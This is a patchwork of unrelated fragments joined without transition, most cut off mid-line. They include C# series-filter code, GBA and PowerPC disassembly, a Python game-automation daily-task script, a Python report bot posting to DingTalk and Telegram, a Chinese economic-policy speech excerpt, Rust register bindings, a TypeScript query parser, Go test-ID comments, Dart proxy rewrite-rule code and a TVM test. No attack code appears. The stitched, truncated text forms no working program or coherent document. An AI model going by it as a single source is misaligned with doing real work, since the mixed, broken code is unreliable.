                return queryable.Where(s =>
                    s.Volumes.Any(v =>
                        v.Chapters.Any(c =>
                            c.Files.Any(f =>
                                f.FilePath == null || !f.FilePath.Equals(normalizedPath)
                            )
                        )
                    )
                );
            case FilterComparison.NotContains:
            case FilterComparison.GreaterThan:
            case FilterComparison.GreaterThanEqual:
            case FilterComparison.LessThan:
            case FilterComparison.LessThanEqual:
            case FilterComparison.Contains:
            case FilterComparison.IsBefore:
            case FilterComparison.IsAfter:
            case FilterComparison.IsInLast:
            case FilterComparison.IsNotInLast:
            case FilterComparison.MustContains:
            case FilterComparison.IsEmpty:
                throw new KavitaException($"{comparison} not applicable for Series.FolderPath");
            default:
                throw new ArgumentOutOfRangeException(nameof(comparison), comparison, "Filter Comparison is not supported");
        }
    }

    public static IQueryable<Series> HasFileSize(this IQueryable<Series> queryable, bool condition,
        FilterComparison comparison, float fileSize)
    {
        if (fileSize == 0f || !condition) return queryable;

        return comparison switch
        {
            FilterComparison.Equal => queryable.Where(s => s.Volumes.Sum(v => v.Chapters.Sum(c => c.Files.Sum(f => f.Bytes))) == fileSize),
            FilterComparison.LessThan => queryable.Where(s => s.Volumes.Sum(v => v.Chapters.Sum(c => c.Files.Sum(f => f.Bytes))) < fileSize),
            FilterComparison.LessThanEqual => queryable.Where(s => s.Volumes.Sum(v => v.Chapters.Sum(c => c.Files.Sum(f => f.Bytes))) <= fileSize),
            FilterComparison.GreaterThan => queryable.Where(s => s.Volumes.Sum(v => v.Chapters.Sum(c => c.Files.Sum(f => f.Bytes))) > fileSize),
            FilterComparison.GreaterThanEqual => queryable.Where(s => s.Volumes.Sum(v => v.Chapters.Sum(c => c.Files.Sum(f => f.Bytes))) >= fileSize),
                _ => throw new ArgumentOutOfRangeException(nameof(comparison), comparison, "Filter Comparison is not supported"),
        };
    }

}


.4byte _0200ABB8 @ case 1
	.4byte _0200ABE8 @ case 2
	.4byte _0200B054 @ case 3
	.4byte _0200B078 @ case 4
	.4byte _0200B154 @ case 5
	.4byte _0200B6A4 @ case 6
	.4byte _0200BC54 @ case 7
	.4byte _0200BD44 @ case 8
	.4byte _0200BDB4 @ case 9
_0200A944:
	movs r1, #0x80
	lsls r1, r1, #0x13
	movs r2, #0xf2
	lsls r2, r2, #5
	adds r0, r2, #0
	strh r0, [r1]
	mov r1, sp
	movs r0, #0
	strh r0, [r1]
	ldr r1, _0200A9A4 @ =0x0600C000
	ldr r2, _0200A9A8 @ =0x01001000
	mov r0, sp
	bl CpuSet
	ldr r1, _0200A9AC @ =0x04000054
	movs r0, #0x10
	strh r0, [r1]
	subs r1, #4
	movs r0, #0xbf
	strh r0, [r1]
	ldr r0, _0200A9B0 @ =gUnknown_02013D58
	movs r1, #0xa0
	lsls r1, r1, #0x13
	bl LZ77UnCompVram
	ldr r0, _0200A9B4 @ =gUnknown_020128A8
	movs r1, #0xc0
	lsls r1, r1, #0x13
	bl LZ77UnCompVram
	ldr r0, _0200A9B8 @ =gUnknown_02013E50
	ldr r1, _0200A9BC @ =0x06001300
	bl LZ77UnCompVram
	ldr r0, _0200A9C0 @ =gUnknown_03003330
	ldrb r0, [r0, #0x10]
	cmp r0, #0
	beq _0200A9D4
	ldr r0, _0200A9C4 @ =gUnknown_020134C8
	ldr r1, _0200A9C8 @ =0x06000F00
	bl LZ77UnCompVram
	ldr r0, _0200A9CC @ =gUnknown_02014210
	ldr r1, _0200A9D0 @ =0x060019A0
	bl LZ77UnCompVram
	b _0200A9E4
	.align 2, 0
_0200A9A4: .4byte 0x0600C000
_0200A9A8: .4byte 0x01001000
_0200A9AC: .4byte 0x04000054
_0200A9B0: .4byte gUnknown_02013D58
_0200A9B4: .4byte gUnknown_020128A8
_0200A9B8: .4byte gUnknown_02013E50
_0200A9BC: .4byte 0x06001300
_0200A9C0: .4byte gUnknown_03003330
_0200A9C4: .4byte gUnknown_020134C8
_0200A9C8: .4byte 0x06000F00
_0200A9CC: .4byte gUnknown_02014210
_0200A9D0: .4byte 0x060019A0
_0200A9D4:
	ldr r0, _0200AB40 @ =gUnknown_02013348
	ldr r1, _0200AB44 @ =0x06000F00
	bl LZ77UnCompVram
	l


from module.logger import log
from module.config import cfg
from module.screen import screen
from utils.date import Date
from tasks.daily.photo import Photo
from tasks.daily.fight import Fight
from tasks.weekly.universe import Universe
import tasks.reward as reward
import tasks.activity as activity
from tasks.daily.synthesis import Synthesis
import tasks.challenge as challenge
from tasks.power.power import Power
from tasks.daily.tasks import Tasks
from tasks.daily.himekotry import HimekoTry
from tasks.weekly.echoofwar import Echoofwar
from utils.color import red, green, yellow
import datetime

class Daily:
    @staticmethod
    def start():
        activity.start()
        if cfg.daily_enable:
            Daily.run()

        # 优先历战余响
        if Date.is_next_mon_x_am(cfg.echo_of_war_timestamp, cfg.refresh_hour):
            if cfg.echo_of_war_enable:
                # 注意，这里并没有解决每天开始时间。也就是4点开始。按照真实时间进行执行
                isoweekday = datetime.date.today().isoweekday()
                if isoweekday >= cfg.echo_of_war_start_day_of_week:
                    Echoofwar.start()
                else:
                    log.info(f"历战余响设置周{cfg.echo_of_war_start_day_of_week}后开始执行，当前为周{isoweekday}, 跳过执行")
            else:
                log.info("历战余响未开启")
        else:
            log.info("历战余响尚未刷新")

        Power.run()

        if Date.is_next_x_am(cfg.fight_timestamp, cfg.refresh_hour):
            if cfg.fight_enable:
                Fight.start()
            else:
                log.info("锄大地未开启")
        else:
            log.info("锄大地尚未刷新")

        if cfg.weekly_divergent_enable:
            if Date.is_next_mon_x_am(cfg.weekly_divergent_timestamp, cfg.refresh_hour):
                if Universe.start(1, False, "divergent"):
                    cfg.save_timestamp("weekly_divergent_timestamp")
            else:
                log.info("每周一次差分宇宙尚未刷新")

        if cfg.universe_frequency == "weekly":
            if Date.is_next_mon_x_am(cfg.universe_timestamp, cfg.refresh_hour):
                if cfg.universe_enable:
                    Power.run()
                    reward.start()
                    Universe.start()
                    Power.run()
                else:
                    log.info("模拟宇宙未开启")
            else:
                log.info("模拟宇宙尚未刷新")
        elif cfg.universe_frequency == "daily":
            if Date.is_next_x_am(cfg.universe_timestamp, cfg.refresh_hour):
                if cfg.universe_enable:
                    Universe.start()
                else:
                    log.info("模拟宇宙未开启")
            else:
                log.info("模拟宇宙尚未刷新")

        if Date.is_next_mon_x_am(cfg.forgottenhall_timestamp, cfg.refresh_hour):
            if cfg.forgottenhall_enable:
                challenge.start("memoryofchaos")
            else:
                log.info("忘却之庭未开启")
        else:
            log.info("忘却之庭尚未刷新")

        if Date.is_next_mon_x_am(cfg.purefiction_timestamp, cfg.refresh_hour):
            if cfg.purefiction_enable:
                challenge.start("purefiction")
            else:
                log.info("虚构叙事未开启")
        else:
            log.info("虚构叙事尚未刷新")

        if Date.is_next_mon_x_am(cfg.apocalyptic_timestamp, cfg.refresh_hour):
            if cfg.apocalyptic_enable:
                challenge.start("apocalyptic")
            else:
                log.info("末日幻影未开启")
        else:
            log.info("末日幻影尚未刷新")

        activity.start()

        # 优先历战余响
        if Date.is_next_mon_x_am(cfg.echo_of_war_timestamp, cfg.refresh_hour):
            if cfg.echo_of_war_enable:
                # 注意，这里并没有解决每天开始时间。也就是4点开始。按照真实时间进行执行
                isoweekday = datetime.date.today().isoweekday()
                if isoweekday >= cfg.echo_of_war_start_day_of_week:
                    Echoofwar.start()
                else:
                    log.info(f"历战余响设置周{cfg.echo_of_war_start_day_of_week}后开始执行，当前为周{isoweekday}, 跳过执行")
            else:
                log.info("历战余响未开启")
        else:
            log.info("历战余响尚未刷新")
        Power.run()

    @staticmethod
    def run():
        log.hr("开始日常任务", 0)

        if Date.is_next_x_am(cfg.last_run_timestamp, cfg.refresh_hour):
            screen.change_to("guide2")

            tasks = Tasks("./assets/config/task_mappings.json")
            tasks.start()

            cfg.set_value("daily_tasks", tasks.daily_tasks)
            cfg.save_timestamp("last_run_timestamp")
        else:
            log.info("日常任务尚未刷新")

        if l


from my_function import *

CAIYUN_KEY=os.environ.get("CAIYUN_KEY")
CITY=os.environ.get("CITY")
DD_SIGN=os.environ.get("DD_SIGN")
DINGTALK_WEBHOOK=os.environ.get("DINGTALK_WEBHOOK")
LOCATION=os.environ.get("LOCATION")
SENTENCE_API=os.environ.get("SENTENCE_API")
SENTENCE_TOKEN=os.environ.get("SENTENCE_TOKEN")
TELEGRAM_BOT_TOKEN=os.environ.get("TELEGRAM_BOT_TOKEN")
TELEGRAM_CHAT_ID=os.environ.get("TELEGRAM_CHAT_ID")
ZHOYAN_API_KEY=os.environ.get("ZHOYAN_API_KEY")
G_T = os.environ.get("G_T")
REPO_NAME = os.environ.get("REPO_NAME")
ISSUE_NUMBER = os.environ.get("ISSUE_NUMBER")

if __name__ == "__main__":
    weather = get_weather(CAIYUN_KEY,LOCATION)

    text=f'# 每日早报\n---\n- {get_day()}\n---\n## 今日天气\n'
    text=text+str(weather)
    sentence1=get_one_sentence(SENTENCE_API,SENTENCE_TOKEN)

    picurl=make_pic(ZHOYAN_API_KEY,sentence1)
    text=text+f'\n---\n## 一诗一图\n- {sentence1}\n'
    # text=text+f'![sentence1]({picurl})'   #!['+sentence1+']('+picurl+')'

    text=text+f'\n---\n## 热点新闻 \n{World_60S()}'

    text=text+f'\n---\n## 励志语 \n{get_inspirational_quote()}'

    create_comment(G_T,REPO_NAME,ISSUE_NUMBER,text)

    send_dd(DINGTALK_WEBHOOK,DD_SIGN,text)
    send_tg(TELEGRAM_BOT_TOKEN,TELEGRAM_CHAT_ID, text)


出，有意见就发表，认真地进行讨论。彼此交换意见，听听不同的意见，这对暴露缺点、改进工作，很有好处。

   第二部分  克服困难的若干办法

   针对上述情况，在我们财政经济工作中，应该采取那些办法来充服困难？我提六点意见：

   一、把十年规划分为两个阶段。前一阶段是恢复经济的阶段，后一阶段是发展阶段。

   在无论农业或者工业，都需要有一个恢复时期。农业的恢复大约要三年到五年。在这三、五年内，投资少，基本建设少，工业只能放慢速度，也就是说，只能是调整和恢复。恢复阶段要几年？我个人看来，大体上要五年。是否就是五年，请大家考虑，最后由中央来决定。

   当然，在恢复阶段也可能有若干发展（在开国后的三年恢复时期中，钢的产量不但恢复到九十多万吨，而且发展到一百三十多万吨），但是，就全体来说，十年规划的第一个阶段主要是恢复。这一阶段的任务，是克服困难，争取财政经济情况的好转，也就是要恢复农业，恢复工业。恢复是为了以后的发展。有了前一阶段的恢复，才有后一阶段的发展。

   把十年规划明确地分为两个阶段，并且确定前一阶段是恢复阶段，对我们财经各部门的工作部署很有好处。如果不这样做，笼统．地要大家执行十年规划，又要发展，又要下马，又想扩大规模，又要“精兵简政”，就会彼此矛盾，举棋不定。分成两个阶段，基本建设和若干重工业生产的指标先下后上，任务就比较明确。

   恢复阶段的经济情况，应该说是很困难的，照少奇同志的说法：类似非常时期。我们要有应付非常时期的办法。这就是说，一方面，要有更多的集中统一，另一方面，一切步骤要稳扎稳打。这里所说的集中统一，就是在给地方和企业以必需的机动的财力、物力以后，其它方面集中统一的程度，可能要超过开国初期。因为现在的情况更复杂。


 the field is `SYSCTL_DID0_MAJ_REVC`"]
    #[inline(always)]
    pub fn is_sysctl_did0_maj_revc(&self) -> bool {
        *self == SYSCTL_DID0_MAJR::SYSCTL_DID0_MAJ_REVC
    }
}
#[doc = "Values that can be written to the field `SYSCTL_DID0_MAJ`"]
#[derive(Clone, Copy, Debug, PartialEq)]
pub enum SYSCTL_DID0_MAJW {
    #[doc = "Revision A (initial device)"]
    SYSCTL_DID0_MAJ_REVA,
    #[doc = "Revision B (first base layer revision)"]
    SYSCTL_DID0_MAJ_REVB,
    #[doc = "Revision C (second base layer revision)"]
    SYSCTL_DID0_MAJ_REVC,
}
impl SYSCTL_DID0_MAJW {
    #[allow(missing_docs)]
    #[doc(hidden)]
    #[inline(always)]
    pub fn _bits(&self) -> u8 {
        match *self {
            SYSCTL_DID0_MAJW::SYSCTL_DID0_MAJ_REVA => 0,
            SYSCTL_DID0_MAJW::SYSCTL_DID0_MAJ_REVB => 1,
            SYSCTL_DID0_MAJW::SYSCTL_DID0_MAJ_REVC => 2,
        }
    }
}
#[doc = r"Proxy"]
pub struct _SYSCTL_DID0_MAJW<'a> {
    w: &'a mut W,
}
impl<'a> _SYSCTL_DID0_MAJW<'a> {
    #[doc = r"Writes `variant` to the field"]
    #[inline(always)]
    pub fn variant(self, variant: SYSCTL_DID0_MAJW) -> &'a mut W {
        unsafe { self.bits(variant._bits()) }
    }
    #[doc = "Revision A (initial device)"]
    #[inline(always)]
    pub fn sysctl_did0_maj_reva(self) -> &'a mut W {
        self.variant(SYSCTL_DID0_MAJW::SYSCTL_DID0_MAJ_REVA)
    }
    #[doc = "Revision B (first base layer revision)"]
    #[inline(always)]
    pub fn sysctl_did0_maj_revb(self) -> &'a mut W {
        self.variant(SYSCTL_DID0_MAJW::SYSCTL_DID0_MAJ_REVB)
    }
    #[doc = "Revision C (second base layer revision)"]
    #[inline(always)]
    pub fn sysctl_did0_maj_revc(self) -> &'a mut W {
        self.variant(SYSCTL_DID0_MAJW::SYSCTL_DID0_MAJ_REVC)
    }
    #[doc = r"Writes raw bits to the field"]
    #[inline(always)]
    pub unsafe fn bits(self, value: u8) -> &'a mut W {
        self.w.bits &= !(255 << 8);
        self.w.bits |= ((value as u32) & 255) << 8;
        self.w
    }
}
#[doc = "Possible values of the field `SYSCTL_DID0_CLASS`"]
#[derive(Clone, Copy, Debug, PartialEq)]
pub enum SYSCTL_DID0_CLASSR {
    #[doc = "MSP432E4 class microcontrollers"]
    SYSCTL_DID0_CLASS_MSP432E4,
    #[doc = r"Reserved"]
    _Reserved(u8),
}
impl SYSCTL_DID0_CLASSR {
    #[doc = r"Value of the field as raw bits"]
    #[inline(always)]
    pub fn bits(&self) -> u8 {
        match *self {


() === 'true',
		date: val => {
			const shortcuts = {
				startOfYear: (key, mod, date) => date.startOf('year').add(Number(mod || '0'), 'years'),
				endOfYear: (key, mod, date) => date.endOf('year').add(Number(mod || '0'), 'years'),
				startOfQuarter: (key, mod, date) => date.startOf('quarter').add(Number(mod || '0'), 'quarters'),
				endOfQuarter: (key, mod, date) => date.endOf('quarter').add(Number(mod || '0'), 'quarters'),
				startOfMonth: (key, mod, date) => date.startOf('month').add(Number(mod || '0'), 'months'),
				endOfMonth: (key, mod, date) => date.endOf('month').add(Number(mod || '0'), 'months'),
				startOfWeek: (key, mod, date) => date.startOf('isoWeek').add(Number(mod || '0'), 'weeks'),
				endOfWeek: (key, mod, date) => date.endOf('isoWeek').add(Number(mod || '0'), 'weeks'),
				year: (key, mod, date) => date.add(Number(mod || '0'), 'years'),
				quarter: (key, mod, date) => date.add(Number(mod || '0'), 'quarters'),
				month: (key, mod, date) => date.add(Number(mod || '0'), 'months'),
				week: (key, mod, date) => date.add(Number(mod || '0'), 'weeks'),
				day: (key, mod, date) => date.add(Number(mod || '0'), 'days'),
			};
			//const [, key, mod] = /(^[a-zA-Z]+$)|^([a-zA-Z]+):(.+)$/.exec(val);
			const matches = val.match(/^([a-zA-Z]+):?([0-9-.]*):?([0-9-.]*)$/);
			if (matches) {
				if (shortcuts[matches[1]]) {
					const modDate = matches[3] ? Moment.utc(matches[3], this._options.dateFormat) : Moment.utc();
					return shortcuts[matches[1]](matches[1], matches[2], modDate.isValid() ? modDate : Moment.utc())
						.toDate()
						.toISOString();
				} else {
					throw new Error(`Unknown date shortcut: ${matches[1]}`);
				}
			}
			const m = Moment.utc(val, this._options.dateFormat);
			if (m.isValid()) {
				return m.toISOString();
			} else {
				throw new Error(`Invalid date string: ${val}`);
			}
		},
	};

	private readonly _operators = [
		{ operator: 'fields', method: this.castFields, defaultKey: 'fields' },
		{ operator: 'sort', method: this.castSort, defaultKey: 'sort' },
		{ operator: 'limit', method: this.castLimit, defaultKey: 'limit' },
		{ operator: 'filter', method: this.castFilter, defaultKey: 'filter' },
		{ operator: 'aggregate', method: this.castAggregate, defaultKey: 'aggregate' },
		{ operator: 'fill', method: this.castFill, defaultKey: 'fill' },
	];

	constructor(private _options: ParserOptions = {}) {
		// add default date format as ISO_8601
		this._options.dateFormat = _options.dateFormat || this._defaultDateFormat;

		// add builtInCaster
		this._options.casters = Object.assign(this._builtInCaster, _options.casters);

		// build blacklist
		this._options.blacklist = _options.blacklist || [];
		this._operators.forEach(({ operator, defaultKey }) => {
			this._options.blacklist.push(this._options[`${operator}Key`] || defaultKey);
		});
	}

	/**
	 * parses query string/object to QueryOptions
	 * @param {string | Object} query
	 * @param {Object} [context]
	 * @return {st


/*-
 * Copyright (c) 2010-2014 Varnish Software AS
 * All rights reserved.
 *
 * Author: Poul-Henning Kamp <phk@phk.freebsd.dk>
 *
 * SPDX-License-Identifier: BSD-2-Clause
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL AUTHOR OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 *
 */

/*lint -save -e525 -e539 */

VCC_KIND(NONE,		none)
VCC_KIND(RESERVED,	reserved)
VCC_KIND(ALIAS,		alias)
VCC_KIND(ACL,		acl)
VCC_KIND(ACTION,	action)
VCC_KIND(BACKEND,	backend)
VCC_KIND(FUNC,		func)
VCC_KIND(INSTANCE,	instance)
VCC_KIND(METHOD,	method)
VCC_KIND(OBJECT,	object)
VCC_KIND(PROBE,		probe)
VCC_KIND(STEVEDORE,	stevedore)
VCC_KIND(SUB,		sub)
VCC_KIND(VAR,		var)
VCC_KIND(VCL,		vcl)
VCC_KIND(VMOD,		vmod)
#undef VCC_KIND

/*lint -restore */


Result<Self::SerializeMap> {
        Ok(MapSerializer::new(self.p))
    }

    fn serialize_struct(self, _name: &'static str, _len: usize) -> PyserResult<Self::SerializeStruct> {
        Ok(StructSerializer::new(self.p))
    }

    fn serialize_struct_variant(self, _name: &'static str, _variant_index: u32, _variant: &'static str, _len: usize) -> PyserResult<Self::SerializeStructVariant> {
        Err(PyserError::NotImplemented)
    }
}pub(crate) mod buffer;
pub(crate) mod extended;
pub(crate) mod pg_type;
pub(crate) mod protocol;
pub(crate) mod service;
pub(crate) mod shim;
pub(crate) mod writer;

pub use pg_type::*;
pub use service::*;
// Copyright 2012 The Rust Project Developers. See the COPYRIGHT
// file at the top-level directory of this distribution and at
// http://rust-lang.org/COPYRIGHT.
//
// Licensed under the Apache License, Version 2.0 <LICENSE-APACHE or
// http://www.apache.org/licenses/LICENSE-2.0> or the MIT license
// <LICENSE-MIT or http://opensource.org/licenses/MIT>, at your
// option. This file may not be copied, modified, or distributed
// except according to those terms.

/*

Liveness analysis for protocols. This is useful for a lot of possible
optimizations.

This analysis computes the "co-live" relationship between
states. Co-live is defined inductively as follows.

1. u is co-live with v if u can transition to v in one message.

2. u is co-live with v if there exists a w such that u and w are
co-live, w and v are co-live, and u and w have the same direction.

This relationship approximates when it is safe to store two states in
the same memory location. If there is no u such u is co-live with
itself, then the protocol is bounded.

(These assertions could use proofs)

In addition, this analysis does reachability, to warn when we have
useless states.

The algorithm is a fixpoint computation. For each state, we initialize
a bitvector containing whether it is co-live with each other state. At
first we use rule (1) above to set each vector. Then we iterate
updating the states using rule (2) until there are no changes.

*/

use std::bitv::{Bitv};

fn analyze(proto: protocol, _cx: ext_ctxt) {
    debug!("initializing colive analysis");
    let num_states = proto.num_states();
    let colive = do (copy proto.states).map_to_vec |state| {
        let bv = ~Bitv(num_states, false);
        for state.reachable |s| {
            bv.set(s.id, true);
        }
        move bv
    };

    let mut i = 0;
    let mut changed = true;
    while changed {
        changed = false;
        debug!("colive iteration %?", i);
        for colive.eachi |i, this_colive| {
            let this = proto.get_state_by_id(i);
            for this_colive.ones |j| {
                let next = proto.get_state_by_id(j);
                if this.dir == next.dir {
                    changed = changed || this_colive.union(colive[j]);
                }
            }
        }
        i += 1;
    }

    debug!("colive analysis complete");

    // Determine if we


 hierarchies' below.
	//
	// * Class/package-level setup/teardown:
	//
	//	Use the special value "*fixture" when reporting the result of
	//	setup and teardown common to tests in the same fine_name.
	//
	// * Extended depth hierarchies:
	//
	//	When uploading a test case from an extended depth hierarchy, use the separator ':'
	//	to separate the components of the test case identifier (e.g. the describe blocks
	//	in a jest/mocha test). Text between the separators must have all occurrences
	//	of ':' and '\' escaped with a backslash ('\') to avoid other colons being interpreted
	//	as separators. Each component of such a hierarchical test case ID must not be empty.
	//	E.g. 'topLevelTest:' is not valid.
	//
	//	Rationale and Important Caveats
	//
	//	Most test hierarchy should be captured by the module, coarse and fine names.
	//	For example, the module typically captures the compilation unit, the coarse name
	//	the directory (e.g. package name) and the fine name the file (e.g. class name).
	//	This leaves the case name to capture sub-file granularity, which
	//	in many frameworks is simply the method name.
	//
	//	However, some frameworks have additional levels of test hierarchy within the
	//	"file" level. For example, Jest and Mocha allow tests to be nested within
	//	an arbitrary number of describe('subscope', func() { ... }) blocks. There may
	//	also be parameterisations of tests. For such cases, we offer a standardised
	//	way to express the additional hierarchy using colons (':') to separate components.
	//	UI may give special treatment to components so expressed in future.
	//
	//	Only consider uploading separate results for each test in such an additional
	//	depth hierarchy if all of the following hold:
	//	- Passes are reported for each test, not just failures.
	//	- Tests are independent (e.g. a assertion failure does not cause multiple
	//	  failing results, e.g. failure of the child test does not also cause the
	//	  parent to fail or vice-versa as is typical in many 'subtest' arrangements).
	//	- In case of retries, you are happy for each test passing individually at least
	//	  once to allow CL submission. I.E. they do not all have to pass in the same run.
	//
	//	The above criteria are important to keep the test results view understandable in
	//	case of retries, and to protect the data model that downstream clients
	//	rely on (e.g. clients must report passes where they report failures).
	//
	//	If they cannot be met, do not upload separate tests results and prefer to upload one
	//	test result per top-level method. Currently Mocha and Jest tests, and parameterised
	//	GTest methods are the only cases where it is known these requirements can be met. Python
	//	unittests and go subtests do not meet the requirements due to falling foul of the
	//	independence requirement (and in case of python unittests, also the inability to
	//	report passes for subtests).
	//
	// Constraints:
	//   - Must not start with one of the characters in [ !"#$%'()*+,] (i.e. U+0020 to U+002C),
	//     unless it is to write the value "*fixture".
	//   - The use of the ':' character is reserved for denoting variable depth/extended depth
	//     hierarchies. If you do not intend this semantic, you must escape it using a backslash.
	//     (You must also escape all backslashes that are not denoting an escape sequence with
	//     a backsl


return config;
  }

  /// - 保存请求重写配置文件
  Future<void> flushRequestRewriteConfig() async {
    var home = await FileRead.homeDir();
    var file = File('${home.path}${Platform.pathSeparator}request_rewrite.json');
    bool exists = await file.exists();
    if (!exists) {
      await file.create(recursive: true);
    }
    var json = jsonEncode(toJson());
    logger.i('刷新请求重写配置文件 ${file.path}');
    await file.writeAsString(json);
  }

  /// -添加规则
  Future<void> addRule(RequestRewriteRule rule, List<RewriteItem> items) async {
    final home = await FileRead.homeDir();
    String rewritePath = "${separator}rewrite$separator${DateTime.now().millisecondsSinceEpoch}.json";
    var file = File(home.path + rewritePath);
    await file.create(recursive: true);
    file.writeAsString(jsonEncode(items.map((e) => e.toJson()).toList()));
    rule.rewritePath = rewritePath;

    rules.add(rule);
    rewriteItemsCache[rule] = items;
  }

  /// -更新规则
  Future<void> updateRule(int index, RequestRewriteRule rule, List<RewriteItem>? items) async {
    rewriteItemsCache.remove(rules[index]);
    final home = await FileRead.homeDir();
    rule._updatePathReg();
    rules[index] = rule;

    if (items == null) {
      return;
    }
    bool isExist = rule.rewritePath != null;
    if (rule.rewritePath == null) {
      String rewritePath = "${separator}rewrite$separator${DateTime.now().millisecondsSinceEpoch}.json";
      rule.rewritePath = rewritePath;
    }

    File file = File(home.path + rule.rewritePath!);
    if (!isExist) {
      await file.create(recursive: true);
    }

    await file.writeAsString(jsonEncode(items.map((e) => e.toJson()).toList()));
    rewriteItemsCache[rule] = items;
  }

  removeIndex(List<int> indexes) async {
    for (var i in indexes) {
      var rule = rules.removeAt(i);
      rewriteItemsCache.remove(rule); //删除缓存
      if (rule.rewritePath != null) {
        File home = await FileRead.homeDir();
        try {
          await File(home.path + rule.rewritePath!).delete();
        } catch (e) {
          logger.e('删除请求重写配置文件失败 ${home.path + rule.rewritePath!}', error: e);
        }
        rule.rewritePath = null;
      }
    }
  }

  /// -获取重定向
  Future<String?> getRedirectRule(String? url) async {
    var rewriteRule = getRewriteRule(url, [RuleType.redirect]);
    if (rewriteRule == null) {
      return null;
    }

    var rewriteItems = await getRewriteItems(rewriteRule);
    var redirectUrl = rewriteItems.firstWhereOrNull((element) => element.enabled)?.redirectUrl;
    if (rewriteRule.url.contains("*") && redirectUrl?.contains("*") == true) {
      String ruleUrl = rewriteRule.url.replaceAll("*", "");
      redirectUrl = redirectUrl?.replaceAll("*", url!.replaceAll(ruleUrl, ""));
    }
    return redirectUrl;
  }

  RequestRewriteRule? getRewriteRule(String? url, List<RuleType> types) {
    if (url == null || !enabled) {
      return null;
    }
    for (var rule in rules) {
      if (rule.match(url) && types.contains(rule.type)) {
        return rule;
      }
    }
    return null;
  }

  /// - 获取重写规则
  Future<List<RewriteItem>> getRewriteItems(RequestRewriteRule rule) async {
    if (rewriteItemsCache.containsKey(rule)) {
      retu


A_local_data)
                    for i in T.serial(4):
                        A_local[i] = T.float32(i)

    @tvm.script.ir_module
    class Expected:
        @T.prim_func
        def main(B: T.Buffer((64,), "float32")):
            for bx in T.thread_binding(4, thread="blockIdx.x"):
                for tx in T.thread_binding(4, thread="threadIdx.x"):
                    A_local_data = T.allocate([4], dtype="float32", scope="local")
                    A_local = T.Buffer([4], dtype="float32", data=A_local_data)
                    A_local[0] = T.float32(0)
                    A_local[1] = T.float32(1)
                    A_local[2] = T.float32(2)
                    A_local[3] = T.float32(3)

    with tvm.transform.PassContext(
        config={
            "tir.UnrollLoop": {
                "auto_max_depth": 0,
                "auto_max_extent": 1,
                "explicit_unroll": True,
                "unroll_local_access": True,
            }
        }
    ):
        after = tvm.tir.transform.UnrollLoop()(Before)
        after = tvm.tir.transform.Simplify()(after)

    tvm.ir.assert_structural_equal(after, Expected)

if __name__ == "__main__":
    test_unroll_local_access()
    test_unroll_loop()
    test_unroll_fake_loop()
    test_unroll_allocations()


FC4  90 1F 00 60 */	stw r0, 0x60(r31)
/* 804221C8 0041EFC8  83 E1 00 0C */	lwz r31, 0xc(r1)
/* 804221CC 0041EFCC  83 C1 00 08 */	lwz r30, 8(r1)
/* 804221D0 0041EFD0  80 01 00 14 */	lwz r0, 0x14(r1)
/* 804221D4 0041EFD4  7C 08 03 A6 */	mtlr r0
/* 804221D8 0041EFD8  38 21 00 10 */	addi r1, r1, 0x10
/* 804221DC 0041EFDC  4E 80 00 20 */	blr

.global HSD_TExpCnst
HSD_TExpCnst:
/* 804221E0 0041EFE0  94 21 FF E0 */	stwu r1, -0x20(r1)
/* 804221E4 0041EFE4  7C 08 02 A6 */	mflr r0
/* 804221E8 0041EFE8  90 01 00 24 */	stw r0, 0x24(r1)
/* 804221EC 0041EFEC  39 61 00 20 */	addi r11, r1, 0x20
/* 804221F0 0041EFF0  4B F8 B9 65 */	bl _savegpr_27
/* 804221F4 0041EFF4  7C DE 33 79 */	or. r30, r6, r6
/* 804221F8 0041EFF8  7C 7B 1B 78 */	mr r27, r3
/* 804221FC 0041EFFC  7C 9C 23 78 */	mr r28, r4
/* 80422200 0041F000  7C BD 2B 78 */	mr r29, r5
/* 80422204 0041F004  40 82 00 18 */	bne lbl_8042221C
/* 80422208 0041F008  3C 80 80 50 */	lis r4, lbl_80504950@ha
/* 8042220C 0041F00C  38 6D FC 90 */	addi r3, r13, lbl_805DCD70@sda21
/* 80422210 0041F010  38 A4 49 50 */	addi r5, r4, lbl_80504950@l
/* 80422214 0041F014  38 80 01 6A */	li r4, 0x16a
/* 80422218 0041F018  48 00 62 A1 */	bl __assert
lbl_8042221C:
/* 8042221C 0041F01C  83 FE 00 00 */	lwz r31, 0(r30)
/* 80422220 0041F020  48 00 00 54 */	b lbl_80422274
lbl_80422224:
/* 80422224 0041F024  80 1F 00 00 */	lwz r0, 0(r31)
/* 80422228 0041F028  2C 00 00 04 */	cmpwi r0, 4
/* 8042222C 0041F02C  40 82 00 44 */	bne lbl_80422270
/* 80422230 0041F030  80 1F 00 08 */	lwz r0, 8(r31)
/* 80422234 0041F034  7C 00 D8 40 */	cmplw r0, r27
/* 80422238 0041F038  40 82 00 38 */	bne lbl_80422270
/* 8042223C 0041F03C  88 1F 00 0C */	lbz r0, 0xc(r31)
/* 80422240 0041F040  7C 00 E0 00 */	cmpw r0, r28
/* 80422244 0041F044  40 82 00 2C */	bne lbl_80422270
/* 80422248 0041F048  88 1F 00 0D */	lbz r0, 0xd(r31)
/* 8042224C 0041F04C  7C 00 E8 0


// Copyright 2019 ETH Zürich, Thomas Schöps
//
